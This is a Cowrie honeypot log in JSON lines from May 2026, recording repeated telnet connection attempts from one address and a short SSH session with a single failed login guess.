{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60788,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e5086bc8d0d","protocol":"telnet","message":"New connection: 50.6.18.72:60788 (159.203.135.109:23) [session: 5e5086bc8d0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:40.769034Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60722,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb8929e871e9","protocol":"telnet","message":"New connection: 50.6.18.72:60722 (159.203.135.109:23) [session: eb8929e871e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:40.834055Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60798,"dst_ip":"159.203.135.109","dst_port":23,"session":"786435abc6ba","protocol":"telnet","message":"New connection: 50.6.18.72:60798 (159.203.135.109:23) [session: 786435abc6ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:40.902557Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60802,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a1417972efd","protocol":"telnet","message":"New connection: 50.6.18.72:60802 (159.203.135.109:23) [session: 1a1417972efd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:41.042926Z"}
{"eventid":"cowrie.session.closed","duration":31.615437030792236,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:41.109384Z","src_ip":"50.6.18.72","session":"50bbd4b2785d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60816,"dst_ip":"159.203.135.109","dst_port":23,"session":"e64c9fff40c4","protocol":"telnet","message":"New connection: 50.6.18.72:60816 (159.203.135.109:23) [session: e64c9fff40c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:41.216439Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60846,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d69f11532b1","protocol":"telnet","message":"New connection: 50.6.18.72:60846 (159.203.135.109:23) [session: 9d69f11532b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:41.981008Z"}
{"eventid":"cowrie.session.closed","duration":31.107462406158447,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:42.039041Z","src_ip":"50.6.18.72","session":"2925c9e674ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60848,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b5c5042bbf4","protocol":"telnet","message":"New connection: 50.6.18.72:60848 (159.203.135.109:23) [session: 8b5c5042bbf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:42.203896Z"}
{"eventid":"cowrie.session.closed","duration":30.26778531074524,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:42.719200Z","src_ip":"50.6.18.72","session":"1613301f1eb4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60864,"dst_ip":"159.203.135.109","dst_port":23,"session":"56e3abb51852","protocol":"telnet","message":"New connection: 50.6.18.72:60864 (159.203.135.109:23) [session: 56e3abb51852]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:42.782677Z"}
{"eventid":"cowrie.session.closed","duration":30.57803511619568,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:42.827221Z","src_ip":"50.6.18.72","session":"a77666113088","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60742,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f3eba9e221d","protocol":"telnet","message":"New connection: 50.6.18.72:60742 (159.203.135.109:23) [session: 7f3eba9e221d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:43.142050Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60886,"dst_ip":"159.203.135.109","dst_port":23,"session":"757f6e24f2da","protocol":"telnet","message":"New connection: 50.6.18.72:60886 (159.203.135.109:23) [session: 757f6e24f2da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:43.302118Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60756,"dst_ip":"159.203.135.109","dst_port":23,"session":"39bd25df206f","protocol":"telnet","message":"New connection: 50.6.18.72:60756 (159.203.135.109:23) [session: 39bd25df206f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:43.332062Z"}
{"eventid":"cowrie.session.closed","duration":31.10745143890381,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:43.411098Z","src_ip":"50.6.18.72","session":"7e5ce6cf50db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9079270362854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:43.567818Z","src_ip":"50.6.18.72","session":"9bc0c7895c4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.389068841934204,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:43.612490Z","src_ip":"50.6.18.72","session":"8e17d6dff0de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.714624881744385,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:43.678495Z","src_ip":"50.6.18.72","session":"98ed69120357","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.207301139831543,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:43.685297Z","src_ip":"50.6.18.72","session":"0c99c19c762d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.107197761535645,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:43.817942Z","src_ip":"50.6.18.72","session":"bb0f144a6a75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.794102668762207,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:43.822880Z","src_ip":"50.6.18.72","session":"5ea761f4a043","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.522886037826538,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:43.867287Z","src_ip":"50.6.18.72","session":"dbdb8c3ae932","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.112733602523804,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:44.082273Z","src_ip":"50.6.18.72","session":"8acf233660ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.804434061050415,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:44.125968Z","src_ip":"50.6.18.72","session":"c19aad152146","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8870210647583,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:44.158293Z","src_ip":"50.6.18.72","session":"dd8f773e14f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.699865341186523,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:44.321188Z","src_ip":"50.6.18.72","session":"1b2be00e2cf2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.153208255767822,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:44.325132Z","src_ip":"50.6.18.72","session":"7089ccb32b3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60902,"dst_ip":"159.203.135.109","dst_port":23,"session":"d64e89952f31","protocol":"telnet","message":"New connection: 50.6.18.72:60902 (159.203.135.109:23) [session: d64e89952f31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:44.328777Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60832,"dst_ip":"159.203.135.109","dst_port":23,"session":"9142a063dc9c","protocol":"telnet","message":"New connection: 50.6.18.72:60832 (159.203.135.109:23) [session: 9142a063dc9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:44.454729Z"}
{"eventid":"cowrie.session.closed","duration":31.021995782852173,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:44.641230Z","src_ip":"50.6.18.72","session":"24468a723973","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.506346702575684,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:44.717402Z","src_ip":"50.6.18.72","session":"09d63eec0bd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60892,"dst_ip":"159.203.135.109","dst_port":23,"session":"c9d81b489662","protocol":"telnet","message":"New connection: 50.6.18.72:60892 (159.203.135.109:23) [session: c9d81b489662]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:44.774430Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60922,"dst_ip":"159.203.135.109","dst_port":23,"session":"3cde74e21450","protocol":"telnet","message":"New connection: 50.6.18.72:60922 (159.203.135.109:23) [session: 3cde74e21450]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:44.956625Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60906,"dst_ip":"159.203.135.109","dst_port":23,"session":"44d4c58c3930","protocol":"telnet","message":"New connection: 50.6.18.72:60906 (159.203.135.109:23) [session: 44d4c58c3930]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:45.346713Z"}
{"eventid":"cowrie.session.closed","duration":30.557214736938477,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:45.545218Z","src_ip":"50.6.18.72","session":"606c2641ab8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.653923749923706,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:45.576290Z","src_ip":"50.6.18.72","session":"4c26299f8b3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.915306091308594,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:45.774733Z","src_ip":"50.6.18.72","session":"c588ad8e20b7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.220374584197998,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:45.783750Z","src_ip":"50.6.18.72","session":"35c3190014e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":60914,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c871cd64a5a","protocol":"telnet","message":"New connection: 50.6.18.72:60914 (159.203.135.109:23) [session: 4c871cd64a5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:45.989092Z"}
{"eventid":"cowrie.session.closed","duration":30.959067821502686,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:46.201873Z","src_ip":"50.6.18.72","session":"732bb4c981b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.115187406539917,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:46.703844Z","src_ip":"50.6.18.72","session":"1f39a6412264","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.579591512680054,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:46.817392Z","src_ip":"50.6.18.72","session":"6ac9a10b1358","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47352,"dst_ip":"159.203.135.109","dst_port":23,"session":"490d94483321","protocol":"telnet","message":"New connection: 50.6.18.72:47352 (159.203.135.109:23) [session: 490d94483321]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:46.853012Z"}
{"eventid":"cowrie.session.closed","duration":31.342557668685913,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:46.888982Z","src_ip":"50.6.18.72","session":"5d926b8635ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03873634338379,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:46.966394Z","src_ip":"50.6.18.72","session":"51262c9972bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47358,"dst_ip":"159.203.135.109","dst_port":23,"session":"792da624b98e","protocol":"telnet","message":"New connection: 50.6.18.72:47358 (159.203.135.109:23) [session: 792da624b98e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:47.038193Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":43414,"dst_ip":"10.17.0.5","dst_port":23,"session":"08571ee4a200","protocol":"telnet","message":"New connection: 45.58.127.90:43414 (10.17.0.5:23) [session: 08571ee4a200]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:47.092727Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47372,"dst_ip":"159.203.135.109","dst_port":23,"session":"97012eddfc02","protocol":"telnet","message":"New connection: 50.6.18.72:47372 (159.203.135.109:23) [session: 97012eddfc02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:47.133427Z"}
{"eventid":"cowrie.session.closed","duration":31.114126205444336,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:47.342125Z","src_ip":"50.6.18.72","session":"3c03128b1483","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47384,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b10f55cd300","protocol":"telnet","message":"New connection: 50.6.18.72:47384 (159.203.135.109:23) [session: 6b10f55cd300]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:47.400701Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47388,"dst_ip":"159.203.135.109","dst_port":23,"session":"31f77baec3e4","protocol":"telnet","message":"New connection: 50.6.18.72:47388 (159.203.135.109:23) [session: 31f77baec3e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:47.502394Z"}
{"eventid":"cowrie.session.closed","duration":30.773438453674316,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:47.554735Z","src_ip":"50.6.18.72","session":"f8c770fba3de","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.10438823699951,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:47.583647Z","src_ip":"50.6.18.72","session":"261156d82746","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.393397569656372,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:47.604042Z","src_ip":"50.6.18.72","session":"7a926105fb6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.637879371643066,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:47.656567Z","src_ip":"50.6.18.72","session":"5a2efe4b6fae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.924410343170166,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:47.666632Z","src_ip":"50.6.18.72","session":"acfaeaceffad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.39766788482666,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:47.870752Z","src_ip":"50.6.18.72","session":"4a6df027089a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.975987672805786,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:48.000104Z","src_ip":"50.6.18.72","session":"5685f3e5f1ab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.198.162.75","src_port":58576,"dst_ip":"10.17.0.5","dst_port":22,"session":"73530d150e08","protocol":"ssh","message":"New connection: 154.198.162.75:58576 (10.17.0.5:22) [session: 73530d150e08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:48.092825Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:48.098207Z","src_ip":"154.198.162.75","session":"73530d150e08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.460305213928223,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:48.287611Z","src_ip":"147.182.143.59","session":"45a8be75b3c2","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:48.305323Z","src_ip":"154.198.162.75","session":"73530d150e08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47390,"dst_ip":"159.203.135.109","dst_port":23,"session":"e71c217def3b","protocol":"telnet","message":"New connection: 50.6.18.72:47390 (159.203.135.109:23) [session: e71c217def3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:48.551951Z"}
{"eventid":"cowrie.session.closed","duration":30.962353229522705,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:48.560818Z","src_ip":"50.6.18.72","session":"7c2ddf1f2d05","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11999487876892,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:48.607394Z","src_ip":"50.6.18.72","session":"d50a7fdd1dd8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51892852783203,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:48.669229Z","src_ip":"50.6.18.72","session":"8b15aa4a92a0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.162274599075317,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:49.118237Z","src_ip":"50.6.18.72","session":"1ce0e17aa880","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"abcd123456","message":"login attempt [ubuntu/abcd123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:49.166899Z","src_ip":"154.198.162.75","session":"73530d150e08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.873027086257935,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:49.366299Z","src_ip":"50.6.18.72","session":"f666f910cd18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03313183784485,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:49.544101Z","src_ip":"50.6.18.72","session":"42ee1bcce103","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11690592765808,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:49.732477Z","src_ip":"50.6.18.72","session":"3d8a375656a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.106632232666016,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:49.748005Z","src_ip":"50.6.18.72","session":"88a04512fdc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47404,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3a81887ca04","protocol":"telnet","message":"New connection: 50.6.18.72:47404 (159.203.135.109:23) [session: f3a81887ca04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:49.897109Z"}
{"eventid":"cowrie.session.closed","duration":31.6272931098938,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:50.095483Z","src_ip":"50.6.18.72","session":"87c5f95794e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":47434,"dst_ip":"159.203.135.109","dst_port":23,"session":"0fd8c857ee4a","protocol":"telnet","message":"New connection: 50.6.18.72:47434 (159.203.135.109:23) [session: 0fd8c857ee4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:50.174827Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:50.375142Z","src_ip":"154.198.162.75","session":"73530d150e08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.96646523475647,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:50.407510Z","src_ip":"50.6.18.72","session":"d343718b0b3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.259779930114746,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:50.552985Z","src_ip":"50.6.18.72","session":"7cf43e6802fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73697018623352,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:50.645732Z","src_ip":"50.6.18.72","session":"6c20d48c3bc1","protocol":"telnet"}
